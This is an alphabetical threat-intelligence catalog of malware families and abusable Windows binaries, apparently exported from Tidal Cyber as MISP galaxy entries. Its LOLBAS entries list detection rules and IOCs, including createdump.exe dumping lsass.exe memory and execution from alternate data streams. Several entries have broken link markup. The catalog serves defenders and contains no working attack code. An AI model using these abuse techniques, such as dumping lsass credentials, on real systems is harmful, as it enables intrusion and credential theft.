[Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) has been deployed via [TrickBot](https://app.tidalcyber.com/software/c2bd4213-fc7b-474f-b5a0-28145b07c51d) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.^{[[Cybereason Conti Jan 2021](https://app.tidalcyber.com/references/3c0e82a2-41ab-4e63-ac10-bd691c786234)]}^{[[CarbonBlack Conti July 2020](https://app.tidalcyber.com/references/3c3a6dc0-66f2-492e-8c9c-c0bcca73008e)]}<sup>[[Cybleinc Conti January 2020](https://app.tidalcyber.com/references/

5ef0ad9d-f34d-4771-a595-7ee4994f6c91)]</sup>

The tag is: *misp-galaxy:software="Conti"*

Control

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary used to launch controlpanel items in Windows

Author: Oddvar Moe

Paths: * C:\Windows\System32\control.exe * C:\Windows\SysWOW64\control.exe

Resources: * https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/ * https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/ * https://twitter.com/bohops/status/955659561008017409 * https://docs.microsoft.com/en-us/windows/desktop/shell/executing-control-panel-items * https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/

Detection: * Sigma: [proc_creation_win_exploit_cve_2021_40444.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules-emerging-threats/2021/Exploits/CVE-2021-40444/proc_creation_win_exploit_cve_2021_40444.yml) * Sigma: [proc_creation_win_rundll32_susp_control_dll_load.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_control_dll_load.yml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * Elastic: [defense_evasion_execution_control_panel_suspicious_args.toml](https://github.com/elastic/detection-rules/blob/0875c1e4c4370ab9fbf453c8160bb5abc8ad95e7/rules/windows/defense_evasion_execution_control_panel_suspicious_args.toml) * Elastic: [defense_evasion_unusual_dir_ads.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml) * IOC: Control.exe executing files from alternate data streams * IOC: Control.exe executing library file without cpl extension * IOC: Suspicious network connections from control.exe^{[[Control.exe - LOLBAS Project](/references/d0c821b9-7d37-4158-89fa-0dabe6e06800)]}

The tag is: *misp-galaxy:software="Control"*

CookieMiner

[CookieMiner](https://app.tidalcyber.com/software/6e2c4aef-2f69-4507-9ee3-55432d76341e) is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.^{[[Unit42 CookieMiner Jan 2019](https://app.tidalcyber.com/references/4605c51d-b36e-4c29-abda-2a97829f6019)]}

The tag is: *misp-galaxy:software="CookieMiner"*

CORALDECK

[CORALDECK](https://app.tidalcyber.com/software/f13c8455-d615-4f8d-9d9c-5b31e593cd8a) is an exfiltration tool used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66). ^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}

The tag is: *misp-galaxy:software="CORALDECK"*

coregen

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.

Author: Martin Sohn Christensen

Paths: * C:\Program Files\Microsoft Silverlight\5.1.50918.0\coregen.exe * C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\coregen.exe

Resources: * https://www.youtube.com/watch?v=75XImxOOInU * https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html

Detection: * Sigma: [image_load_side_load_coregen.yml](https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/image_load/image_load_side_load_coregen.yml) * IOC: coregen.exe loading .dll file not in "C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\" * IOC: coregen.exe loading .dll file not named coreclr.dll * IOC: coregen.exe command line containing -L or -l * IOC: coregen.exe command line containing unexpected/invald assembly name * IOC: coregen.exe application crash by invalid assembly name<sup>[[coregen.exe - LOLBAS Project](/references/f24d4cf5-9ca9-46bd-bd43-

86b37e2a638a)]</sup>

The tag is: *misp-galaxy:software="coregen"*

Core Impact

A penetration testing tool designed for exploitation activities, notably used by FIN7 to generate implants for system control.^{[[SentinelOne July 14 2024](/references/b5453789-65b5-4057-84ce-14097f5215d7)]}

The tag is: *misp-galaxy:software="Core Impact"*

CORESHELL

[CORESHELL](https://app.tidalcyber.com/software/3b193f62-2b49-4eff-bdf4-501fb8a28274) is a downloader used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.^{[[FireEye APT28](https://app.tidalcyber.com/references/c423b2b2-25a3-4a8d-b89a-83ab07c0cd20)]} ^{[[FireEye APT28 January 2017](https://app.tidalcyber.com/references/61d80b8f-5bdb-41e6-b59a-d2d996392873)]}

The tag is: *misp-galaxy:software="CORESHELL"*

Corona (Mirai Botnet Variant)

Corona is a suspected variant of the popular Mirai botnet, which has been observed since at least 2020 (its name likely relates to the COVID-19 pandemic).^{[[Akamai Corona Zero-Day August 28 2024](/references/140284f8-075c-4225-99dd-519ba5cebabe)]}

The tag is: *misp-galaxy:software="Corona (Mirai Botnet Variant)"*

CosmicDuke

[CosmicDuke](https://app.tidalcyber.com/software/43b317c6-5b4f-47b8-b7b4-15cd6f455091) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) from 2010 to 2015. ^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]}

The tag is: *misp-galaxy:software="CosmicDuke"*

CostaBricks

[CostaBricks](https://app.tidalcyber.com/software/ea9e2d19-89fe-4039-a1e0-467b14554c6f) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://app.tidalcyber.com/groups/) campaign.^{[[BlackBerry CostaRicto November 2020](https://app.tidalcyber.com/references/93a23447-641c-4ee2-9fbd-64b2adea8a5f)]}

The tag is: *misp-galaxy:software="CostaBricks"*

Covenant

[Covenant](https://app.tidalcyber.com/software/c9cea5ac-b426-5484-a228-6eeffa173611) is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as [HAFNIUM](https://app.tidalcyber.com/groups/1bcc9382-ccfe-4b04-91f3-ef1250df5e5b) during operations. [Covenant](https://app.tidalcyber.com/software/c9cea5ac-b426-5484-a228-6eeffa173611) functions through a central listener managing multiple deployed "Grunts" that communicate back to the controller.^{[[Github Covenant](https://app.tidalcyber.com/references/b717c3ae-8ae0-53c9-90ba-a34cf7694f3c)]}^{[[Microsoft HAFNIUM March 2020](https://app.tidalcyber.com/references/6a986c46-79a3-49c6-94d2-d9b1f5db08f3)]}

The tag is: *misp-galaxy:software="Covenant"*

CozyCar

[CozyCar](https://app.tidalcyber.com/software/c2353daa-fd4c-44e1-8013-55400439965a) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. ^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]}

The tag is: *misp-galaxy:software="CozyCar"*

CrackMapExec

[CrackMapExec](https://app.tidalcyber.com/software/47e710b4-1397-47cf-a979-20891192f313), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://app.tidalcyber.com/software/47e710b4-1397-47cf-a979-20891192f313) collects Active Directory information to conduct lateral movement through targeted networks.^{[[CME Github September 2018](https://app.tidalcyber.com/references/a6e1e3b4-1b69-43b7-afbe-aedb812c5778)]}

The tag is: *misp-galaxy:software="CrackMapExec"*

Createdump

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft .NET Runtime Crash Dump Generator (included in .NET Core)

Author: mr.d0x, Daniel Santos

Paths: * C:\Program Files\dotnet\shared\Microsoft.NETCore.App*\createdump.exe * C:\Program Files (x86)\dotnet\shared\Microsoft.NETCore.App*\createdump.exe * C:\Program Files\Microsoft Visual Studio*\Community\dotnet\runtime\shared\Microsoft.NETCore.App\6.0.0\createdump.exe * C:\Program Files (x86)\Microsoft Visual Studio*\Community\dotnet\runtime\shared\Microsoft.NETCore.App\6.0.0\createdump.exe

Resources: * https://twitter.com/bopin2020/status/1366400799199272960 * https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnetcore/practice-troubleshoot-linux/lab-1-3-capture-core-crash-dumps

Detection: * Sigma: [proc_creation_win_proc_dump_createdump.yml](https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml) * Sigma: [proc_creation_win_renamed_createdump.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml) * IOC: createdump.exe process with a command line containing the lsass.exe process id^{[[Createdump.exe - LOLBAS Project](/references/f3ccacc1-3b42-4042-9a5c-f5b483a5e801)]}

The tag is: *misp-galaxy:software="Createdump"*

CredoMap

CredoMap is a credential-stealing malware developed by the Russian espionage actor APT28. The malware harvests cookies and credentials from select web browsers and exfiltrates the information via the IMAP email protocol. CredoMap was observed being used in attack campaigns in Ukraine in 2022.^{[[CERTFR-2023-CTI-009](/references/5365ac4c-fbb8-4389-989e-a64cb7693371)]}^{[[SecurityScorecard CredoMap September 2022](/references/3e683efc-4712-4397-8d55-4354ff7ad9f0)]}

The tag is: *misp-galaxy:software="CredoMap"*

CreepyDrive

[CreepyDrive](https://app.tidalcyber.com/software/7f7f05c3-fbb1-475e-b672-2113709065c8) is a custom implant has been used by [POLONIUM](https://app.tidalcyber.com/groups/7fbd7514-76e9-4696-8c66-9f95546e3315) since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.^{[[Microsoft POLONIUM June 2022](https://app.tidalcyber.com/references/689ff1ab-9fed-4aa2-8e5e-78dac31e6fbd)]}

[POLONIUM](https://app.tidalcyber.com/groups/7fbd7514-76e9-4696-8c66-9f95546e3315) has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.^{[[Microsoft POLONIUM June 2022](https://app.tidalcyber.com/references/689ff1ab-9fed-4aa2-8e5e-78dac31e6fbd)]}

The tag is: *misp-galaxy:software="CreepyDrive"*

CreepySnail

[CreepySnail](https://app.tidalcyber.com/software/11ce380c-481b-4c9b-b44e-06f1a91c01c1) is a custom PowerShell implant that has been used by [POLONIUM](https://app.tidalcyber.com/groups/7fbd7514-76e9-4696-8c66-9f95546e3315) since at least 2022.^{[[Microsoft POLONIUM June 2022](https://app.tidalcyber.com/references/689ff1ab-9fed-4aa2-8e5e-78dac31e6fbd)]}

The tag is: *misp-galaxy:software="CreepySnail"*

Crimson

[Crimson](https://app.tidalcyber.com/software/3b3f296f-20a6-459a-98c5-62ebdee3701f) is a remote access Trojan that has been used by [Transparent Tribe](https://app.tidalcyber.com/groups/441b91d1-256a-4763-bac6-8f1c76764a25) since at least 2016.^{[[Proofpoint Operation Transparent Tribe March 2016](https://app.tidalcyber.com/references/8e39d0da-114f-4ae6-8130-ca1380077d6a)]}^{[[Kaspersky Transparent Tribe August 2020](https://app.tidalcyber.com/references/42c7faa2-f664-4e4a-9d23-93c88a09da5b)]}

The tag is: *misp-galaxy:software="Crimson"*

CrossRAT

[CrossRAT](https://app.tidalcyber.com/software/38811c3b-f548-43fa-ab26-c7243b84a055) is a cross platform RAT.

The tag is: *misp-galaxy:software="CrossRAT"*

Crutch

[Crutch](https://app.tidalcyber.com/software/e1ad229b-d750-4148-a1f3-36e767b03cd1) is a backdoor designed for document theft that has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) since at least 2015.^{[[ESET Crutch December 2020](https://app.tidalcyber.com/references/8b2f40f5-7dca-4edf-8314-a8f5bc4831b8)]}

The tag is: *misp-galaxy:software="Crutch"*

CryptBot

CryptBot is an information-stealing malware first observed in 2019 that operates on Windows systems. Its capabilities include taking screenshots and identifying and collecting targeted data on victim systems, including credential data from web browsers.^{[[ANYRUN CryptBot January 26 2023](/references/93a43526-0b6b-4201-a274-eb9a482c1d24)]}

The tag is: *misp-galaxy:software="CryptBot"*

Cryptoistic

[Cryptoistic](https://app.tidalcyber.com/software/12ce6d04-ebe5-440e-b342-0283b7c8a0c8) is a backdoor, written in Swift, that has been used by [Lazarus Group]([SentinelOne Lazarus macOS July 2020(https://app.tidalcyber.com/references/489c52a2-34cc-47ff-b42b-9d48f83b9e90)]</sup>

The tag is: *misp-galaxy:software="Cryptoistic"*

Csc

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary file used by .NET to compile C# code

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe

Resources: * https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe

Detection: * Sigma: [proc_creation_win_csc_susp_parent.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml) * Sigma: [proc_creation_win_csc_susp_folder.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_csc_susp_folder.yml) * Elastic: [defense_evasion_dotnet_compiler_parent_process.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml) * Elastic: [defense_evasion_execution_msbuild_started_unusal_process.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_execution_msbuild_started_unusal_process.toml) * IOC: Csc.exe should normally not run as System account unless it is used for development.^{[[Csc.exe - LOLBAS Project](/references/276c9e55-4673-426d-8f49-06edee2e3b30)]}

The tag is: *misp-galaxy:software="Csc"*

Cscript

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/

LICENSE).

Description: Binary used to execute scripts in Windows

Author: Oddvar Moe

Paths: * C:\Windows\System32\cscript.exe * C:\Windows\SysWOW64\cscript.exe

Resources: * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

Detection: * Sigma: [proc_creation_win_wscript_cscript_script_exec.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml) * Sigma: [file_event_win_net_cli_artefact.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml) * Elastic: [defense_evasion_unusual_dir_ads.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml) * Elastic: [command_and_control_remote_file_copy_scripts.toml](https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml) * Elastic: [defense_evasion_suspicious_managedcode_host_process.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml) * Splunk: [wscript_or_cscript_suspicious_child_process.yml](https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Cscript.exe executing files from alternate data streams * IOC: DotNet CLR libraries loaded into cscript.exe * IOC: DotNet CLR Usage Log - cscript.exe.log^{[[Cscript.exe - LOLBAS Project](/references/428b6223-63b7-497f-b13a-e472b4583a9f)]}

The tag is: *misp-galaxy:software="Cscript"*

csi

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Command line interface included with Visual Studio.

Author: Oddvar Moe

Paths: * c:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csi.exe * c:\Program Files (x86)\Microsoft Web Tools\Packages\Microsoft.Net.Compilers.X.Y.Z\tools\csi.exe

Resources: * https://twitter.com/subTee/status/781208810723549188 * https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

Detection: * Sigma: [proc_creation_win_csi_execution.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml) * Sigma: [proc_creation_win_csi_use_of_csharp_console.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_csi_use_of_csharp_console.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * BlockRule: [https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules]([csi.exe - LOLBAS Project(/references/b810ee91-de4e-4c7b-8fa8-24dca95133e5)]</sup>

The tag is: *misp-galaxy:software="csi"*

CSPY Downloader

[CSPY Downloader](https://app.tidalcyber.com/software/eb481db6-d7ba-4873-a171-76a228c9eb97) is a tool designed to evade analysis and download additional payloads used by [Kimsuky]([Cybereason Kimsuky November 2020(https://app.tidalcyber.com/references/ecc2f5ad-b2a8-470b-b919-cb184d12d00f)]</sup>

The tag is: *misp-galaxy:software="CSPY Downloader"*

Cuba

[Cuba](https://app.tidalcyber.com/software/095064c6-144e-4935-b878-f82151bc08e4) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.^{[[McAfee Cuba April 2021](https://app.tidalcyber.com/references/e0e86e08-64ec-48dc-91e6-24fde989cd77)]}

The tag is: *misp-galaxy:software="Cuba"*

Cuckoo Stealer

[Cuckoo Stealer](https://app.tidalcyber.com/software/6e8c24c1-1cbd-5698-9a91-c3e0d937adf4) is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. [Cuckoo Stealer](https://app.tidalcyber.com/software/6e8c24c1-1cbd-5698-9a91-c3e0d937adf4) is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.^{[[Kandji Cuckoo April 2024](https://app.tidalcyber.com/references/90c4e23a-e6e7-511d-911c-1f8b64253aff)]}^{[[SentinelOne Cuckoo Stealer May 2024](https://app.tidalcyber.com/references/b5e0add8-bda6-5cae-85c7-58f7cab1579c)]}

The tag is: *misp-galaxy:software="Cuckoo Stealer"*

curl

Curl is a command-line tool for transferring data specified with URL syntax.^{[[GitHub March 18 2010](/references/b7f4ca2e-c273-42c8-85c2-0975ed083ee8)]}

The tag is: *misp-galaxy:software="curl"*

CustomShellHost

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: A host process that is used by custom shells when using Windows in Kiosk mode.

Author: Wietze Beukema

Paths: * C:\Windows\System32\CustomShellHost.exe

Resources: * https://twitter.com/YoSignals/status/1381353520088113154 * https://docs.microsoft.com/en-us/windows/configuration/kiosk-shelllauncher

Detection: * IOC: CustomShellHost.exe is unlikely to run on normal workstations * Sigma: [proc_creation_win_lolbin_customshellhost.yml]([CustomShellHost.exe - LOLBAS Project](/references/96324ab1-7eb8-42dc-b19a-fa1d9f85e239)]</sup>

The tag is: *misp-galaxy:software="CustomShellHost"*

CyberVolk Ransomware

A ransomware developed by the CyberVolk group, derived from AzzaSec ransomware code, targeting Windows systems.^{[[SentinelOne November 25 2024](/references/71c8e60c-a72a-4bff-aae3-f3f155fa22ee)]}

The tag is: *misp-galaxy:software="CyberVolk Ransomware"*

Cyclops Blink

[Cyclops Blink](https://app.tidalcyber.com/software/68792756-7dbf-41fd-8d48-ac3cc2b52712) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. [Cyclops Blink](https://app.tidalcyber.com/software/68792756-7dbf-41fd-8d48-ac3cc2b52712) is assessed to be a replacement for [VPNFilter](https://app.tidalcyber.com/software/b2ea039c-3cd4-54f4-a46f-9ee79fe6350b), a similar platform targeting network devices.^{[[NCSC Cyclops Blink February 2022](https://app.tidalcyber.com/references/91ed6adf-f066-49e4-8ec7-1989bc6615a6)]}^{[[NCSC CISA Cyclops Blink Advisory February 2022](https://app.tidalcyber.com/references/bee6cf85-5cb9-4000-b82e-9e15aebfbece)]}^{[[Trend Micro Cyclops Blink March 2022](https://app.tidalcyber.com/references/64e9a24f-f386-4774-9874-063e0ebfb8e1)]}

The tag is: *misp-galaxy:software="Cyclops Blink"*

Dacls

[Dacls](https://app.tidalcyber.com/software/9d521c18-09f0-47be-bfe5-e1bf26f7b928) is a multi-platform remote access tool used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) since at least December 2019.^{[[TrendMicro macOS Dacls May 2020](https://app.tidalcyber.com/references/0ef8691d-48ae-4057-82ef-eb086c05e2b9)]}^{[[SentinelOne Lazarus macOS July 2020](https://app.tidalcyber.com/references/489c52a2-34cc-47ff-b42b-9d48f83b9e90)]}

The tag is: *misp-galaxy:software="Dacls"*

DAMASCENED PEACOCK

DAMASCENED PEACOCK is a "lightweight" downloader malware that has been observed being delivered via spear-phishing emails that appeared to target staff of the United Kingdom’s Ministry of Defence (MOD). According to an MOD Malware Analysis Report, DAMASCENED PEACOCK is believed to be a variant of a malware components that are part of the wider RomCom family of malware.^{[[UK MOD DAMASCENED PEACOCK April 11 2025](/references/92351a33-f2bc-4c49-9ba7-dc9468795168)]}

The tag is: *misp-galaxy:software="DAMASCENED PEACOCK"*

DanaBot

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="DanaBot"*

DanBot

[DanBot](https://app.tidalcyber.com/software/131c0eb2-9191-4ccd-a2d6-5f36046a8f2f) is a first-stage remote access Trojan written in C# that has been used by [HEXANE](https://app.tidalcyber.com/groups/eecf7289-294f-48dd-a747-7705820f4735) since at least 2018.^{[[SecureWorks August 2019](https://app.tidalcyber.com/references/573edbb6-687b-4bc2-bc4a-764a548633b5)]}

The tag is: *misp-galaxy:software="DanBot"*

DarkComet

[DarkComet](https://app.tidalcyber.com/software/74f88899-56d0-4de8-97de-539b3590ab90) is a Windows remote administration tool and backdoor.^{[[TrendMicro DarkComet Sept 2014](https://app.tidalcyber.com/references/fb365600-4961-43ed-8292-1c07cbc530ef)]}^{[[Malwarebytes DarkComet March 2018](https://app.tidalcyber.com/references/6a765a99-8d9f-4076-8741-6415a5ab918b)]}

The tag is: *misp-galaxy:software="DarkComet"*

DarkGate - Duplicate

[DarkGate](https://app.tidalcyber.com/software/39d81c48-8f7c-54cb-8fac-485598e31a55) first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named "DarkGate" by its author, [DarkGate](https://app.tidalcyber.com/software/39d81c48-8f7c-54cb-8fac-485598e31a55) is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.^{[[Ensilo Darkgate 2018](https://app.tidalcyber.com/references/31796564-4154-54c0-958a-7d6802dfefad)]} DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.^{[[Trellix Darkgate 2023](https://app.tidalcyber.com/references/83fb92d8-1245-5d68-b9f2-0915c10401c6)]}

The tag is: *misp-galaxy:software="DarkGate - Duplicate"*

DarkTortilla

[DarkTortilla](https://app.tidalcyber.com/software/35abcb6b-3259-57c1-94fc-50cfd5bde786) is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. [DarkTortilla](https://app.tidalcyber.com/software/35abcb6b-3259-57c1-94fc-50cfd5bde786) has been used to deliver popular information stealers, RATs, and payloads such as [Agent Tesla](https://app.tidalcyber.com/software/304650b1-a0b5-460c-9210-23a5b53815a4), AsyncRat, [NanoCore](https://app.tidalcyber.com/software/db05dbaa-eb3a-4303-b37e-18d67e7e85a1), RedLine, [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6), and Metasploit.^{[[Secureworks DarkTortilla Aug 2022](https://app.tidalcyber.com/references/4b48cc22-55ac-5b61-b183-9008f7db37fd)]}

The tag is: *misp-galaxy:software="DarkTortilla"*

DarkWatchman

[DarkWatchman](https://app.tidalcyber.com/software/740a0327-4caf-4d90-8b51-f3f9a4d59b37) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.^{[[Prevailion DarkWatchman 2021](https://app.tidalcyber.com/references/449e7b5c-7c62-4a63-a676-80026a597fc9)]}

The tag is: *misp-galaxy:software="DarkWatchman"*

Daserf

[Daserf](https://app.tidalcyber.com/software/fad65026-57c4-4d4f-8803-87178dd4b887) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. ^{[[Trend Micro Daserf Nov 2017](https://app.tidalcyber.com/references/4ca0e6a9-8c20-49a0-957a-7108083a8a29)]} ^{[[Secureworks BRONZE BUTLER Oct 2017](https://app.tidalcyber.com/references/c62d8d1a-cd1b-4b39-95b6-68f3f063dacf)]}

The tag is: *misp-galaxy:software="Daserf"*

DataSvcUtil

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.

Author: Ialle Teixeira

Paths: * C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe

Resources: * https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe * https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services * https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services

Detection: * Sigma: [proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml](https://github.com/

